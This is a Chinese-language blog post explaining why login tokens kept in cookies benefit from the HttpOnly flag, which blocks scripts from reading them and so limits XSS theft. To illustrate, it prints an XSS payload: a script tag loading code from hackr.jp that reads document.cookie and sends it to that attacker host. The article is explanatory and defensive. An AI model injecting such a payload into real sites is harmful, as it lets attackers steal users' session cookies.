cookie存储 安全机制

本文介绍了使用cookie存储token的安全机制,特别是HttpOnly属性的作用及如何防止跨站脚本攻击(XSS)。通过设置HttpOnly标志,可以阻止JavaScript脚本访问cookie,从而提高安全性。
摘要由CSDN通过智能技术生成

使用cookie存储token,安全机制

对于web服务项目,用户登录生成的令牌token,一般以cookie存储形式返回。其安全性主要与HTTP协议属性字段HttpOnly有关。

浏览器设置Cookie的头如下:

Set-Cookie: =[; =][; expires=][; domain=][; path=][; secure][; HttpOnly]

主要阐述HttpOnly含义作用,Cookie 的 HttpOnly 属性是Cookie 的扩展功能, 它使 JavaScript 脚本无法获得 Cookie。其主要目的为防止跨站脚本攻击(Cross-site scripting,XSS) 对 Cookie 的信息窃取。虽然是独立的扩展功能, 但 Internet Explorer 6 SP1 以上版本等当下的主流浏览器都已经支持该扩展了。

JavaScript脚本通过document对象document.cookie获取cookie的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。

当你在cookie上设置HttpOnly标识后,浏览器就会知道这是特殊的cookie,只能由服务器检索到,所有来自客户端脚本的访问都会被禁止。

举例

对用户 Cookie 的某种窃取攻击:
下面恶意构造的脚本能够以跨站脚本攻击(XSS)的方式, 窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用
JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序,即可访问到该 Web 应用所处域名下的Cookie 信息。 然后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。 结果, 攻击者就这样窃取到用户的 Cookie 信息了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值